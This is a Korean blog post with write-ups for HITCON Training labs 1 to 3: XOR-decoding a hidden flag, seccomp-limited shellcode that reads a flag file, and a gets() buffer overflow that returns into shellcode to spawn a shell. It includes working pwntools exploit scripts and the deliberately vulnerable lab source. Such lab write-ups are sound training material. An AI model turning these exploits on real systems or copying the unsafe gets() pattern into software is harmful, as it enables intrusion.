본문 바로가기

Security

HITCON Training lab1 ~ 3

Lab1

#include <stdio.h>
#include <unistd.h>

void get_flag(){
	int fd ;
	int password;
	int magic ;
	char key[] = "Do_you_know_why_my_teammate_Orange_is_so_angry???";
	char cipher[] = {7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66};
	fd = open("/dev/urandom",0);
	read(fd,&password,4);
	printf("Give me maigc :");
	scanf("%d",&magic);
	if(password == magic){
		for(int i = 0 ; i < sizeof(cipher) ; i++){
			printf("%c",cipher[i]^key[i]);
		}
	}
}

int main(){
	setvbuf(stdout,0,2,0);
	get_flag();
	return 0 ;
}

get_flag 함수를 통해 flag를 구하는데, key와 cipher 배열이 있어서 xor 연산을 통해 쉽게 답을 획득할 수 있습니다.

key = "Do_you_know_why_my_teammate_Orange_is_so_angry???"
cipher = [7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66]

res = []

for i in range(len(key)):
    tmp = ord(key[i])^cipher[i]
    print(chr(tmp), end='')

 

Lab2

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x08048548 <+0>:	lea    ecx,[esp+0x4]
   0x0804854c <+4>:	and    esp,0xfffffff0
   0x0804854f <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048552 <+10>:	push   ebp
   0x08048553 <+11>:	mov    ebp,esp
   0x08048555 <+13>:	push   ecx
   0x08048556 <+14>:	sub    esp,0x4
   0x08048559 <+17>:	call   0x80484cb <orw_seccomp>
   0x0804855e <+22>:	sub    esp,0xc
   0x08048561 <+25>:	push   0x80486a0
   0x08048566 <+30>:	call   0x8048380 <printf@plt>
   0x0804856b <+35>:	add    esp,0x10
   0x0804856e <+38>:	sub    esp,0x4
   0x08048571 <+41>:	push   0xc8
   0x08048576 <+46>:	push   0x804a060
   0x0804857b <+51>:	push   0x0
   0x0804857d <+53>:	call   0x8048370 <read@plt>
   0x08048582 <+58>:	add    esp,0x10
   0x08048585 <+61>:	mov    eax,0x804a060
   0x0804858a <+66>:	call   eax
   0x0804858c <+68>:	mov    eax,0x0
   0x08048591 <+73>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048594 <+76>:	leave
   0x08048595 <+77>:	lea    esp,[ecx-0x4]
   0x08048598 <+80>:	ret
End of assembler dump.
gdb-peda$

소스코드 파일은 없어서 gdb로 바이너리를 분석한 결과, seccomp 함수를 통해 샌드박스 기능을 제공하고 실행하면 쉘코드를 입력하라고 하는 걸 보아 쉘코드를 입력하면 이를 실행해주는 바이너리임을 유추할 수 있습니다. (main+66을 보면 call eax를 통해 사용자가 입력한 값을 실행함)

하지만 seccomp로 인해 read, write를 제외한 시스템 콜은 사용하지 못하므로, flag 파일을 읽는 쉘코드를 작성했다.

from pwn import *

r = process('./orw.bin')
r.recvuntil(":")
context(arch='i386', os='linux')
sc=""
sc+=shellcraft.open("/home/leehahoon/HITCON-Training/LAB/lab2/flag")
sc+=shellcraft.read('eax', 'esp', 500)
sc+=shellcraft.write(1,'esp',500)
r.sendline(asm(sc))

 

Lab3

#include <stdio.h>

char name[50];

int main(){
        setvbuf(stdout,0,2,0);
        printf("Name:");
        read(0,name,50);
        char buf[20];
        printf("Try your best:");
        gets(buf);
        return ;
}

간단한 BOF다. 전역변수 name에 쉘코드를 저장하고 ret을 name의 주소로 덮어 쉘을 획득했다.(gdb로 분석하면 간단히 name의 주소를 확인할 수 있다.)

from pwn import *

p = process('./ret2sc')
sc = asm(shellcraft.sh())
p.recvuntil(':')
p.sendline(sc)
p.recvuntil(':')
payload = b"A"*32
payload += p32(0x804a060)
p.sendline(payload)
p.interactive()

 

'Security' 카테고리의 다른 글

HITCON Training lab4 ~ 5  (0) 2020.10.30
Oneshot 가젯  (0) 2020.10.16
CODEGATE 2019 컨퍼런스 후기  (0) 2019.03.30
Code Injection  (0) 2019.03.11
DLL Injection  (0) 2019.01.20